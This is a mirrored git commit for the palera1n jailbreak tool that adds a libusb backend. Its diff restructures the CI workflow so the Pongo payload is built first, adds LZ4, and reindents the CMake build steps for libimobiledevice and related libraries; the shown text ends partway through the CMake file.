mirror of
https://github.com/palera1n/palera1n.git
synced 2026-10-21 01:37:02 +02:00
feat: libusb backend
This commit is contained in:
1 parent
2914030e65
commit
d8154c3aeb
16 files changed
+1701
-402
No files matched your search
+3
-1
@@ -12,5 +12,7 @@ insert_final_newline = true
|
||||
indent_style = tab
|
||||
indent_size = 4
|
||||
|
||||
[*]
|
||||
[*.{yml,yaml}]
|
||||
indent_style = space
|
||||
indent_size = 2
|
||||
|
||||
+112
-67
@@ -3,98 +3,143 @@ name: "Build"
|
||||
on:
|
||||
workflow_dispatch:
|
||||
push:
|
||||
branches:
|
||||
branches:
|
||||
- koputer
|
||||
- main
|
||||
|
||||
jobs:
|
||||
build-linux:
|
||||
runs-on: ubuntu-latest
|
||||
build-pongo:
|
||||
runs-on: macos-latest
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- name: Install dependencies (apt)
|
||||
run: |
|
||||
sudo apt update
|
||||
sudo apt install -y build-essential cmake autoconf automake libtool pkg-config
|
||||
- name: Build
|
||||
run: |
|
||||
make
|
||||
|
||||
- name: Build
|
||||
run: |
|
||||
make palera1n WITH_STATIC=1 BUILD_TYPE=Release
|
||||
- name: Prepare upload directory
|
||||
run: |
|
||||
mkdir upload
|
||||
mv build/Pongo.bin upload/
|
||||
mv build/checkra1n-kpf-pongo upload/
|
||||
|
||||
- name: Upload
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: palera1n-linux
|
||||
path: |
|
||||
build/palera1n
|
||||
- name: Upload
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: pongo
|
||||
path: |
|
||||
upload/*
|
||||
|
||||
build-linux:
|
||||
runs-on: ubuntu-latest
|
||||
needs: build-pongo
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- name: Download Pongo
|
||||
uses: actions/download-artifact@v4
|
||||
with:
|
||||
name: pongo
|
||||
path: payloads/
|
||||
|
||||
- name: Install dependencies (apt)
|
||||
run: |
|
||||
sudo apt update
|
||||
sudo apt install -y build-essential cmake autoconf automake libtool pkg-config
|
||||
|
||||
- name: Build
|
||||
run: |
|
||||
make palera1n WITH_STATIC=1 BUILD_TYPE=Release
|
||||
|
||||
- name: Upload
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: palera1n-linux
|
||||
path: |
|
||||
build/palera1n
|
||||
|
||||
build-macos:
|
||||
runs-on: ${{ matrix.os }}
|
||||
needs: build-pongo
|
||||
|
||||
strategy:
|
||||
matrix:
|
||||
include:
|
||||
- os: macos-latest
|
||||
arch: arm64
|
||||
- os: macos-15-intel
|
||||
arch: x86_64
|
||||
- os: macos-latest
|
||||
arch: arm64
|
||||
- os: macos-15-intel
|
||||
arch: x86_64
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- name: Install dependencies (brew)
|
||||
run: |
|
||||
brew update
|
||||
brew install cmake autoconf automake libtool pkg-config
|
||||
- name: Download Pongo
|
||||
uses: actions/download-artifact@v4
|
||||
with:
|
||||
name: pongo
|
||||
path: payloads/
|
||||
|
||||
- name: Build
|
||||
run: |
|
||||
make palera1n WITH_STATIC=1 WITH_GUI=1 BUILD_TYPE=Release
|
||||
cd build && zip -r palera1n-macos-${{ matrix.arch }}.zip palera1n.app
|
||||
- name: Install dependencies (brew)
|
||||
run: |
|
||||
brew update
|
||||
brew install cmake autoconf automake libtool pkg-config
|
||||
|
||||
- name: Upload
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: palera1n-macos-${{ matrix.arch }}
|
||||
path: |
|
||||
build/palera1n-macos-${{ matrix.arch }}.zip
|
||||
- name: Build
|
||||
run: |
|
||||
make palera1n WITH_STATIC=1 WITH_GUI=1 BUILD_TYPE=Release
|
||||
cd build && zip -r palera1n-macos-${{ matrix.arch }}.zip palera1n.app
|
||||
|
||||
- name: Upload
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: palera1n-macos-${{ matrix.arch }}
|
||||
path: |
|
||||
build/palera1n-macos-${{ matrix.arch }}.zip
|
||||
|
||||
build-windows:
|
||||
runs-on: windows-latest
|
||||
needs: build-pongo
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- name: Set up MSYS2
|
||||
uses: msys2/setup-msys2@v2
|
||||
with:
|
||||
msystem: MINGW64
|
||||
install: >
|
||||
git
|
||||
mingw-w64-x86_64-toolchain
|
||||
mingw-w64-x86_64-cmake
|
||||
libtool
|
||||
openssl
|
||||
openssl-devel
|
||||
python-devel
|
||||
autoconf
|
||||
automake
|
||||
zip
|
||||
vim
|
||||
make
|
||||
patch
|
||||
update: true
|
||||
- name: Download Pongo
|
||||
uses: actions/download-artifact@v4
|
||||
with:
|
||||
name: pongo
|
||||
path: payloads/
|
||||
|
||||
- name: Build
|
||||
shell: msys2 {0}
|
||||
run: |
|
||||
make palera1n_mingw WITH_STATIC=1 WITH_GUI=1 BUILD_TYPE=Release
|
||||
- name: Set up MSYS2
|
||||
uses: msys2/setup-msys2@v2
|
||||
with:
|
||||
msystem: MINGW64
|
||||
install: >
|
||||
git
|
||||
mingw-w64-x86_64-toolchain
|
||||
mingw-w64-x86_64-cmake
|
||||
libtool
|
||||
openssl
|
||||
openssl-devel
|
||||
python-devel
|
||||
autoconf
|
||||
automake
|
||||
zip
|
||||
vim
|
||||
make
|
||||
patch
|
||||
update: true
|
||||
|
||||
- name: Upload
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: palera1n-windows-x86_64
|
||||
path: |
|
||||
build/*.exe
|
||||
build/*.dll
|
||||
- name: Build
|
||||
shell: msys2 {0}
|
||||
run: |
|
||||
make palera1n_mingw WITH_STATIC=1 WITH_GUI=1 BUILD_TYPE=Release
|
||||
|
||||
- name: Upload
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: palera1n-windows-x86_64
|
||||
path: |
|
||||
build/*.exe
|
||||
build/*.dll
|
||||
+353
-330
@@ -57,6 +57,23 @@ FetchContent_Declare(
|
||||
|
||||
FetchContent_MakeAvailable(nlohmann_json)
|
||||
|
||||
# =========================
|
||||
# LZ4
|
||||
# =========================
|
||||
|
||||
include(FetchContent)
|
||||
|
||||
set(LZ4_BUILD_CLI OFF CACHE BOOL "" FORCE)
|
||||
|
||||
FetchContent_Declare(
|
||||
lz4
|
||||
GIT_REPOSITORY https://github.com/lz4/lz4.git
|
||||
GIT_TAG v1.10.0
|
||||
SOURCE_SUBDIR build/cmake
|
||||
)
|
||||
|
||||
FetchContent_MakeAvailable(lz4)
|
||||
|
||||
# =========================
|
||||
# SOURCES
|
||||
# =========================
|
||||
@@ -117,348 +134,354 @@ if(WITH_GUI)
|
||||
endif()
|
||||
|
||||
target_link_libraries(palera1n PRIVATE nlohmann_json::nlohmann_json)
|
||||
target_link_libraries(palera1n PRIVATE lz4_static)
|
||||
|
||||
|
||||
# =========================
|
||||
# libimobiledevice
|
||||
# =========================
|
||||
if(WITH_GUI)
|
||||
if(WITH_STATIC)
|
||||
include(ExternalProject)
|
||||
|
||||
find_program(PKG_CONFIG_EXECUTABLE NAMES pkg-config)
|
||||
if(WITH_STATIC)
|
||||
include(ExternalProject)
|
||||
|
||||
set(PKG_ENV
|
||||
env
|
||||
PKG_CONFIG=${PKG_CONFIG_EXECUTABLE}
|
||||
PKG_CONFIG_PATH=${DEPS_PREFIX}/lib/pkgconfig:${DEPS_PREFIX}/share/pkgconfig
|
||||
PKG_CONFIG_LIBDIR=${DEPS_PREFIX}/lib/pkgconfig:${DEPS_PREFIX}/share/pkgconfig
|
||||
PKG_CONFIG_PATH_CUSTOM=${DEPS_PREFIX}/lib/pkgconfig:${DEPS_PREFIX}/share/pkgconfig
|
||||
find_program(PKG_CONFIG_EXECUTABLE NAMES pkg-config)
|
||||
|
||||
CPPFLAGS=-I${DEPS_PREFIX}/include
|
||||
LDFLAGS=-L${DEPS_PREFIX}/lib
|
||||
set(PKG_ENV
|
||||
env
|
||||
PKG_CONFIG=${PKG_CONFIG_EXECUTABLE}
|
||||
PKG_CONFIG_PATH=${DEPS_PREFIX}/lib/pkgconfig:${DEPS_PREFIX}/share/pkgconfig
|
||||
PKG_CONFIG_LIBDIR=${DEPS_PREFIX}/lib/pkgconfig:${DEPS_PREFIX}/share/pkgconfig
|
||||
PKG_CONFIG_PATH_CUSTOM=${DEPS_PREFIX}/lib/pkgconfig:${DEPS_PREFIX}/share/pkgconfig
|
||||
|
||||
C_INCLUDE_PATH=${DEPS_PREFIX}/include
|
||||
CPLUS_INCLUDE_PATH=${DEPS_PREFIX}/include
|
||||
CPPFLAGS=-I${DEPS_PREFIX}/include
|
||||
LDFLAGS=-L${DEPS_PREFIX}/lib
|
||||
|
||||
mbedtls_INCLUDES=${DEPS_PREFIX}/include
|
||||
mbedtls_LIBDIR=${DEPS_PREFIX}/lib
|
||||
mbedtls_LIBS=-lmbedtls\ -lmbedx509\ -lmbedcrypto
|
||||
C_INCLUDE_PATH=${DEPS_PREFIX}/include
|
||||
CPLUS_INCLUDE_PATH=${DEPS_PREFIX}/include
|
||||
|
||||
mbedtls_INCLUDES=${DEPS_PREFIX}/include
|
||||
mbedtls_LIBDIR=${DEPS_PREFIX}/lib
|
||||
mbedtls_LIBS=-lmbedtls\ -lmbedx509\ -lmbedcrypto
|
||||
)
|
||||
|
||||
if(MINGW OR MSYS)
|
||||
set(IMD_AUTOTOOLS_ARGS
|
||||
--disable-static
|
||||
--enable-shared
|
||||
)
|
||||
|
||||
if(MINGW OR MSYS)
|
||||
set(IMD_AUTOTOOLS_ARGS
|
||||
--disable-static
|
||||
--enable-shared
|
||||
)
|
||||
else()
|
||||
set(IMD_AUTOTOOLS_ARGS
|
||||
--enable-static
|
||||
--disable-shared
|
||||
)
|
||||
set(MBEDUTILS_ARGS
|
||||
--with-mbedtls
|
||||
)
|
||||
endif()
|
||||
|
||||
if(NOT MINGW AND NOT MSYS)
|
||||
# =========================
|
||||
# mbedTLS
|
||||
# =========================
|
||||
ExternalProject_Add(mbedtls_ep
|
||||
GIT_REPOSITORY https://github.com/Mbed-TLS/mbedtls.git
|
||||
GIT_TAG mbedtls-3.5.2
|
||||
UPDATE_COMMAND ""
|
||||
|
||||
PATCH_COMMAND patch -p1 < ${CMAKE_SOURCE_DIR}/patches/mbedtls/0001-Allow-empty-x509-cert-issuer.patch
|
||||
|
||||
CMAKE_ARGS
|
||||
-DCMAKE_INSTALL_PREFIX=${DEPS_PREFIX}
|
||||
-DENABLE_TESTING=OFF
|
||||
-DENABLE_PROGRAMS=OFF
|
||||
-DBUILD_SHARED_LIBS=OFF
|
||||
|
||||
INSTALL_DIR ${DEPS_PREFIX}
|
||||
)
|
||||
endif()
|
||||
|
||||
if(LINUX OR MINGW OR MSYS)
|
||||
# =========================
|
||||
# libusb
|
||||
# =========================
|
||||
ExternalProject_Add(libusb_ep
|
||||
GIT_REPOSITORY https://github.com/libusb/libusb.git
|
||||
GIT_TAG v1.0.27
|
||||
UPDATE_COMMAND ""
|
||||
|
||||
CONFIGURE_COMMAND
|
||||
${PKG_ENV}
|
||||
sh
|
||||
-l
|
||||
./autogen.sh
|
||||
--prefix=${DEPS_PREFIX}
|
||||
--disable-udev
|
||||
|
||||
BUILD_COMMAND make -j
|
||||
INSTALL_COMMAND make install
|
||||
BUILD_IN_SOURCE 1
|
||||
)
|
||||
endif()
|
||||
|
||||
# =========================
|
||||
# libplist
|
||||
# =========================
|
||||
ExternalProject_Add(libplist_ep
|
||||
GIT_REPOSITORY https://github.com/libimobiledevice/libplist.git
|
||||
GIT_TAG 2117b8fdb6b4096455bd2041a63e59a028120136
|
||||
UPDATE_COMMAND ""
|
||||
|
||||
CONFIGURE_COMMAND
|
||||
${PKG_ENV}
|
||||
sh
|
||||
-l
|
||||
./autogen.sh
|
||||
--prefix=${DEPS_PREFIX}
|
||||
${IMD_AUTOTOOLS_ARGS}
|
||||
|
||||
BUILD_COMMAND make -j
|
||||
INSTALL_COMMAND make install
|
||||
BUILD_IN_SOURCE 1
|
||||
)
|
||||
|
||||
# =========================
|
||||
# libimobiledevice-glue
|
||||
# =========================
|
||||
ExternalProject_Add(limd_glue_ep
|
||||
GIT_REPOSITORY https://github.com/libimobiledevice/libimobiledevice-glue.git
|
||||
GIT_TAG 362f7848ac89b74d9dd113b38b51ecb601f76094
|
||||
UPDATE_COMMAND ""
|
||||
|
||||
CONFIGURE_COMMAND
|
||||
${PKG_ENV}
|
||||
sh
|
||||
-l
|
||||
./autogen.sh
|
||||
--prefix=${DEPS_PREFIX}
|
||||
${IMD_AUTOTOOLS_ARGS}
|
||||
|
||||
BUILD_COMMAND make -j
|
||||
INSTALL_COMMAND make install
|
||||
BUILD_IN_SOURCE 1
|
||||
|
||||
DEPENDS libplist_ep
|
||||
)
|
||||
|
||||
# =========================
|
||||
# libusbmuxd
|
||||
# =========================
|
||||
ExternalProject_Add(libusbmuxd_ep
|
||||
GIT_REPOSITORY https://github.com/libimobiledevice/libusbmuxd.git
|
||||
GIT_TAG a7f0543fb1ecb20ac7121c0fd77297200e0e43fc
|
||||
UPDATE_COMMAND ""
|
||||
|
||||
CONFIGURE_COMMAND
|
||||
${PKG_ENV}
|
||||
sh
|
||||
-l
|
||||
./autogen.sh
|
||||
--prefix=${DEPS_PREFIX}
|
||||
${IMD_AUTOTOOLS_ARGS}
|
||||
--without-systemd
|
||||
|
||||
BUILD_COMMAND make -j
|
||||
INSTALL_COMMAND make install
|
||||
BUILD_IN_SOURCE 1
|
||||
|
||||
DEPENDS libplist_ep limd_glue_ep
|
||||
)
|
||||
|
||||
# =========================
|
||||
# libimobiledevice
|
||||
# =========================
|
||||
|
||||
set(LIBIMOBILEDEVICE_DEPS
|
||||
libplist_ep
|
||||
libusbmuxd_ep
|
||||
limd_glue_ep
|
||||
)
|
||||
|
||||
if(NOT MINGW AND NOT MSYS)
|
||||
list(APPEND LIBIMOBILEDEVICE_DEPS mbedtls_ep)
|
||||
endif()
|
||||
|
||||
if(LINUX OR MINGW OR MSYS)
|
||||
list(APPEND LIBIMOBILEDEVICE_DEPS libusb_ep)
|
||||
endif()
|
||||
|
||||
ExternalProject_Add(libimobiledevice_ep
|
||||
GIT_REPOSITORY https://github.com/libimobiledevice/libimobiledevice.git
|
||||
GIT_TAG ed0d66d0341562731bb19928dfe48155509fa7a7
|
||||
UPDATE_COMMAND ""
|
||||
|
||||
PATCH_COMMAND patch -p1 < ${CMAKE_SOURCE_DIR}/patches/libimobiledevice/0001-include-windows-header.patch
|
||||
|
||||
CONFIGURE_COMMAND
|
||||
${PKG_ENV}
|
||||
sh
|
||||
-l
|
||||
./autogen.sh
|
||||
--prefix=${DEPS_PREFIX}
|
||||
${MBEDUTILS_ARGS}
|
||||
${IMD_AUTOTOOLS_ARGS}
|
||||
--disable-wireless-pairing
|
||||
|
||||
BUILD_COMMAND make -j
|
||||
INSTALL_COMMAND make install
|
||||
BUILD_IN_SOURCE 1
|
||||
|
||||
DEPENDS ${LIBIMOBILEDEVICE_DEPS}
|
||||
)
|
||||
|
||||
file(WRITE
|
||||
${CMAKE_BINARY_DIR}/fix_tools_makefile.cmake
|
||||
"
|
||||
file(WRITE \"${CMAKE_BINARY_DIR}/libimobiledevice_ep-prefix/src/libimobiledevice_ep/tools/Makefile\" \"all:\\ninstall:\\n\")
|
||||
")
|
||||
|
||||
ExternalProject_Add_Step(libimobiledevice_ep fix_tools_makefile
|
||||
COMMAND ${CMAKE_COMMAND} -P ${CMAKE_BINARY_DIR}/fix_tools_makefile.cmake
|
||||
DEPENDEES configure
|
||||
DEPENDERS build
|
||||
)
|
||||
|
||||
# =========================
|
||||
# libirecovery
|
||||
# =========================
|
||||
ExternalProject_Add(libirecovery_ep
|
||||
GIT_REPOSITORY https://github.com/libimobiledevice/libirecovery.git
|
||||
GIT_TAG 7ce02c347b7c26e59498e6af31c9da51018d0fa1
|
||||
UPDATE_COMMAND ""
|
||||
|
||||
CONFIGURE_COMMAND
|
||||
${PKG_ENV}
|
||||
sh
|
||||
-l
|
||||
./autogen.sh
|
||||
--prefix=${DEPS_PREFIX}
|
||||
${IMD_AUTOTOOLS_ARGS}
|
||||
|
||||
BUILD_COMMAND make -j
|
||||
INSTALL_COMMAND make install
|
||||
BUILD_IN_SOURCE 1
|
||||
|
||||
DEPENDS libplist_ep libusbmuxd_ep limd_glue_ep
|
||||
)
|
||||
|
||||
add_dependencies(palera1n
|
||||
libplist_ep
|
||||
limd_glue_ep
|
||||
libusbmuxd_ep
|
||||
libimobiledevice_ep
|
||||
libirecovery_ep
|
||||
)
|
||||
|
||||
if(NOT MINGW AND NOT MSYS)
|
||||
add_dependencies(palera1n mbedtls_ep)
|
||||
endif()
|
||||
|
||||
target_include_directories(palera1n PRIVATE
|
||||
${DEPS_PREFIX}/include
|
||||
)
|
||||
|
||||
if(APPLE)
|
||||
find_library(IOKIT IOKit)
|
||||
find_library(COREFOUNDATION CoreFoundation)
|
||||
find_library(SECURITY Security)
|
||||
|
||||
target_link_libraries(palera1n PRIVATE
|
||||
${IOKIT}
|
||||
${COREFOUNDATION}
|
||||
${SECURITY}
|
||||
)
|
||||
endif()
|
||||
|
||||
if(MINGW OR MSYS)
|
||||
target_link_libraries(palera1n PRIVATE
|
||||
imobiledevice-1.0
|
||||
irecovery-1.0
|
||||
usbmuxd-2.0
|
||||
plist-2.0
|
||||
imobiledevice-glue-1.0
|
||||
usb-1.0
|
||||
)
|
||||
|
||||
set(DLLS
|
||||
libcrypto-3-x64.dll
|
||||
libssl-3-x64.dll
|
||||
libstdc++-6.dll
|
||||
libgcc_s_seh-1.dll
|
||||
libwinpthread-1.dll
|
||||
libimobiledevice-1.0.dll
|
||||
libimobiledevice-glue-1.0.dll
|
||||
libirecovery-1.0.dll
|
||||
libplist-2.0.dll
|
||||
libusbmuxd-2.0.dll
|
||||
libusb-1.0.dll
|
||||
)
|
||||
|
||||
execute_process(
|
||||
COMMAND cygpath -w "$ENV{MSYSTEM_PREFIX}/bin"
|
||||
OUTPUT_VARIABLE MSYSTEM_PREFIX_WIN
|
||||
OUTPUT_STRIP_TRAILING_WHITESPACE
|
||||
)
|
||||
|
||||
foreach(DLL ${DLLS})
|
||||
add_custom_command(TARGET palera1n POST_BUILD
|
||||
COMMAND ${CMAKE_COMMAND} -E copy_if_different
|
||||
"${MSYSTEM_PREFIX_WIN}/${DLL}"
|
||||
$<TARGET_FILE_DIR:palera1n>
|
||||
)
|
||||
endforeach()
|
||||
else()
|
||||
target_link_libraries(palera1n PRIVATE
|
||||
${DEPS_PREFIX}/lib/libimobiledevice-1.0.a
|
||||
${DEPS_PREFIX}/lib/libirecovery-1.0.a
|
||||
${DEPS_PREFIX}/lib/libusbmuxd-2.0.a
|
||||
${DEPS_PREFIX}/lib/libplist-2.0.a
|
||||
${DEPS_PREFIX}/lib/libimobiledevice-glue-1.0.a
|
||||
${DEPS_PREFIX}/lib/libmbedtls.a
|
||||
${DEPS_PREFIX}/lib/libmbedx509.a
|
||||
${DEPS_PREFIX}/lib/libmbedcrypto.a
|
||||
)
|
||||
|
||||
if(LINUX)
|
||||
target_link_libraries(palera1n PRIVATE
|
||||
${DEPS_PREFIX}/lib/libusb-1.0.a
|
||||
)
|
||||
endif()
|
||||
endif()
|
||||
else()
|
||||
find_package(PkgConfig REQUIRED)
|
||||
|
||||
pkg_check_modules(IMD REQUIRED libimobiledevice-1.0)
|
||||
pkg_check_modules(IRECOVERY REQUIRED libirecovery-1.0)
|
||||
pkg_check_modules(PLIST REQUIRED libplist-2.0)
|
||||
pkg_check_modules(USBMUXD REQUIRED libusbmuxd-2.0)
|
||||
|
||||
target_include_directories(palera1n PRIVATE
|
||||
${IMD_INCLUDE_DIRS}
|
||||
${IRECOVERY_INCLUDE_DIRS}
|
||||
${PLIST_INCLUDE_DIRS}
|
||||
${USBMUXD_INCLUDE_DIRS}
|
||||
set(IMD_AUTOTOOLS_ARGS
|
||||
--enable-static
|
||||
--disable-shared
|
||||
)
|
||||
|
||||
target_link_libraries(palera1n PRIVATE
|
||||
${IMD_LIBRARIES}
|
||||
${IRECOVERY_LIBRARIES}
|
||||
${PLIST_LIBRARIES}
|
||||
${USBMUXD_LIBRARIES}
|
||||
)
|
||||
|
||||
target_compile_options(palera1n PRIVATE
|
||||
${IMD_CFLAGS_OTHER}
|
||||
${IRECOVERY_CFLAGS_OTHER}
|
||||
${PLIST_CFLAGS_OTHER}
|
||||
${USBMUXD_CFLAGS_OTHER}
|
||||
set(MBEDUTILS_ARGS
|
||||
--with-mbedtls
|
||||
)
|
||||
endif()
|
||||
|
||||
if(NOT MINGW AND NOT MSYS)
|
||||
# =========================
|
||||
# mbedTLS
|
||||
# =========================
|
||||
ExternalProject_Add(mbedtls_ep
|
||||
GIT_REPOSITORY https://github.com/Mbed-TLS/mbedtls.git
|
||||
GIT_TAG mbedtls-3.5.2
|
||||
UPDATE_COMMAND ""
|
||||
|
||||
PATCH_COMMAND patch -p1 < ${CMAKE_SOURCE_DIR}/patches/mbedtls/0001-Allow-empty-x509-cert-issuer.patch
|
||||
|
||||
CMAKE_ARGS
|
||||
-DCMAKE_INSTALL_PREFIX=${DEPS_PREFIX}
|
||||
-DENABLE_TESTING=OFF
|
||||
-DENABLE_PROGRAMS=OFF
|
||||
-DBUILD_SHARED_LIBS=OFF
|
||||
|
||||
INSTALL_DIR ${DEPS_PREFIX}
|
||||
)
|
||||
endif()
|
||||
|
||||
if(LINUX OR MINGW OR MSYS)
|
||||
# =========================
|
||||
# libusb
|
||||
# =========================
|
||||
ExternalProject_Add(libusb_ep
|
||||
GIT_REPOSITORY https://github.com/libusb/libusb.git
|
||||
GIT_TAG v1.0.27
|
||||
UPDATE_COMMAND ""
|
||||
|
||||
CONFIGURE_COMMAND
|
||||
${PKG_ENV}
|
||||
sh
|
||||
-l
|
||||
./autogen.sh
|
||||
--prefix=${DEPS_PREFIX}
|
||||
--disable-udev
|
||||
|
||||
BUILD_COMMAND make -j
|
||||
INSTALL_COMMAND make install
|
||||
BUILD_IN_SOURCE 1
|
||||
)
|
||||
endif()
|
||||
|
||||
# =========================
|
||||
# libplist
|
||||
# =========================
|
||||
ExternalProject_Add(libplist_ep
|
||||
GIT_REPOSITORY https://github.com/libimobiledevice/libplist.git
|
||||
GIT_TAG 2117b8fdb6b4096455bd2041a63e59a028120136
|
||||
UPDATE_COMMAND ""
|
||||
|
||||
CONFIGURE_COMMAND
|
||||
${PKG_ENV}
|
||||
sh
|
||||
-l
|
||||
./autogen.sh
|
||||
--prefix=${DEPS_PREFIX}
|
||||
${IMD_AUTOTOOLS_ARGS}
|
||||
|
||||
BUILD_COMMAND make -j
|
||||
INSTALL_COMMAND make install
|
||||
BUILD_IN_SOURCE 1
|
||||
)
|
||||
|
||||
# =========================
|
||||
# libimobiledevice-glue
|
||||
# =========================
|
||||
ExternalProject_Add(limd_glue_ep
|
||||
GIT_REPOSITORY https://github.com/libimobiledevice/libimobiledevice-glue.git
|
||||
GIT_TAG 362f7848ac89b74d9dd113b38b51ecb601f76094
|
||||
UPDATE_COMMAND ""
|
||||
|
||||
CONFIGURE_COMMAND
|
||||
${PKG_ENV}
|
||||
sh
|
||||
-l
|
||||
./autogen.sh
|
||||
--prefix=${DEPS_PREFIX}
|
||||
${IMD_AUTOTOOLS_ARGS}
|
||||
|
||||
BUILD_COMMAND make -j
|
||||
INSTALL_COMMAND make install
|
||||
BUILD_IN_SOURCE 1
|
||||
|
||||
DEPENDS libplist_ep
|
||||
)
|
||||
|
||||
# =========================
|
||||
# libusbmuxd
|
||||
# =========================
|
||||
ExternalProject_Add(libusbmuxd_ep
|
||||
GIT_REPOSITORY https://github.com/libimobiledevice/libusbmuxd.git
|
||||
GIT_TAG a7f0543fb1ecb20ac7121c0fd77297200e0e43fc
|
||||
UPDATE_COMMAND ""
|
||||
|
||||
CONFIGURE_COMMAND
|
||||
${PKG_ENV}
|
||||
sh
|
||||
-l
|
||||
./autogen.sh
|
||||
--prefix=${DEPS_PREFIX}
|
||||
${IMD_AUTOTOOLS_ARGS}
|
||||
--without-systemd
|
||||
|
||||
BUILD_COMMAND make -j
|
||||
INSTALL_COMMAND make install
|
||||
BUILD_IN_SOURCE 1
|
||||
|
||||
DEPENDS libplist_ep limd_glue_ep
|
||||
)
|
||||
|
||||
# =========================
|
||||
# libimobiledevice
|
||||
# =========================
|
||||
|
||||
set(LIBIMOBILEDEVICE_DEPS
|
||||
libplist_ep
|
||||
libusbmuxd_ep
|
||||
limd_glue_ep
|
||||
)
|
||||
|
||||
if(NOT MINGW AND NOT MSYS)
|
||||
list(APPEND LIBIMOBILEDEVICE_DEPS mbedtls_ep)
|
||||
endif()
|
||||
|
||||
if(LINUX OR MINGW OR MSYS)
|
||||
list(APPEND LIBIMOBILEDEVICE_DEPS libusb_ep)
|
||||
endif()
|
||||
|
||||
ExternalProject_Add(libimobiledevice_ep
|
||||
GIT_REPOSITORY https://github.com/libimobiledevice/libimobiledevice.git
|
||||
GIT_TAG ed0d66d0341562731bb19928dfe48155509fa7a7
|
||||
UPDATE_COMMAND ""
|
||||
|
||||
PATCH_COMMAND patch -p1 < ${CMAKE_SOURCE_DIR}/patches/libimobiledevice/0001-include-windows-header.patch
|
||||
|
||||
CONFIGURE_COMMAND
|
||||
${PKG_ENV}
|
||||
sh
|
||||
-l
|
||||
./autogen.sh
|
||||
--prefix=${DEPS_PREFIX}
|
||||
${MBEDUTILS_ARGS}
|
||||
${IMD_AUTOTOOLS_ARGS}
|
||||
--disable-wireless-pairing
|
||||
|
||||
BUILD_COMMAND make -j
|
||||
INSTALL_COMMAND make install
|
||||
BUILD_IN_SOURCE 1
|
||||
|
||||
DEPENDS ${LIBIMOBILEDEVICE_DEPS}
|
||||
)
|
||||
|
||||
file(WRITE
|
||||
${CMAKE_BINARY_DIR}/fix_tools_makefile.cmake
|
||||
"
|
||||
file(WRITE \"${CMAKE_BINARY_DIR}/libimobiledevice_ep-prefix/src/libimobiledevice_ep/tools/Makefile\" \"all:\\ninstall:\\n\")
|
||||
")
|
||||
|
||||
ExternalProject_Add_Step(libimobiledevice_ep fix_tools_makefile
|
||||
COMMAND ${CMAKE_COMMAND} -P ${CMAKE_BINARY_DIR}/fix_tools_makefile.cmake
|
||||
DEPENDEES configure
|
||||
DEPENDERS build
|
||||
)
|
||||
|
||||
# =========================
|
||||
# libirecovery
|
||||
# =========================
|
||||
ExternalProject_Add(libirecovery_ep
|
||||
GIT_REPOSITORY https://github.com/libimobiledevice/libirecovery.git
|
||||
GIT_TAG 7ce02c347b7c26e59498e6af31c9da51018d0fa1
|
||||
UPDATE_COMMAND ""
|
||||
|
||||
CONFIGURE_COMMAND
|
||||
${PKG_ENV}
|
||||
sh
|
||||
-l
|
||||
./autogen.sh
|
||||
--prefix=${DEPS_PREFIX}
|
||||
${IMD_AUTOTOOLS_ARGS}
|
||||
|
||||
BUILD_COMMAND make -j
|
||||
INSTALL_COMMAND make install
|
||||
BUILD_IN_SOURCE 1
|
||||
|
||||
DEPENDS libplist_ep libusbmuxd_ep limd_glue_ep
|
||||
)
|
||||
|
||||
add_dependencies(palera1n
|
||||
libplist_ep
|
||||
limd_glue_ep
|
||||
libusbmuxd_ep
|
||||
libimobiledevice_ep
|
||||
libirecovery_ep
|
||||
)
|
||||
|
||||
if(NOT MINGW AND NOT MSYS)
|
||||
add_dependencies(palera1n mbedtls_ep)
|
||||
endif()
|
||||
|
||||
target_include_directories(palera1n PRIVATE
|
||||
${DEPS_PREFIX}/include
|
||||
)
|
||||
|
||||
if(APPLE)
|
||||
find_library(IOKIT IOKit)
|
||||
find_library(COREFOUNDATION CoreFoundation)
|
||||
find_library(SECURITY Security)
|
||||
|
||||
target_link_libraries(palera1n PRIVATE
|
||||
${IOKIT}
|
||||
${COREFOUNDATION}
|
||||
${SECURITY}
|
||||
)
|
||||
endif()
|
||||
|
||||
if(MINGW OR MSYS)
|
||||
target_link_libraries(palera1n PRIVATE
|
||||
imobiledevice-1.0
|
||||
irecovery-1.0
|
||||
usbmuxd-2.0
|
||||
plist-2.0
|
||||
imobiledevice-glue-1.0
|
||||
usb-1.0
|
||||
)
|
||||
|
||||
set(DLLS
|
||||
libcrypto-3-x64.dll
|
||||
libssl-3-x64.dll
|
||||
libstdc++-6.dll
|
||||
libgcc_s_seh-1.dll
|
||||
libwinpthread-1.dll
|
||||
libimobiledevice-1.0.dll
|
||||
libimobiledevice-glue-1.0.dll
|
||||
libirecovery-1.0.dll
|
||||
libplist-2.0.dll
|
||||
libusbmuxd-2.0.dll
|
||||
libusb-1.0.dll
|
||||
)
|
||||
|
||||
execute_process(
|
||||
COMMAND cygpath -w "$ENV{MSYSTEM_PREFIX}/bin"
|
||||
OUTPUT_VARIABLE MSYSTEM_PREFIX_WIN
|
||||
OUTPUT_STRIP_TRAILING_WHITESPACE
|
||||
)
|
||||
|
||||
foreach(DLL ${DLLS})
|
||||
add_custom_command(TARGET palera1n POST_BUILD
|
||||
COMMAND ${CMAKE_COMMAND} -E copy_if_different
|
||||
"${MSYSTEM_PREFIX_WIN}/${DLL}"
|
||||
$<TARGET_FILE_DIR:palera1n>
|
||||
)
|
||||
endforeach()
|
||||
else()
|
||||
target_link_libraries(palera1n PRIVATE
|
||||
${DEPS_PREFIX}/lib/libimobiledevice-1.0.a
|
||||
${DEPS_PREFIX}/lib/libirecovery-1.0.a
|
||||
${DEPS_PREFIX}/lib/libusbmuxd-2.0.a
|
||||
${DEPS_PREFIX}/lib/libplist-2.0.a
|
||||
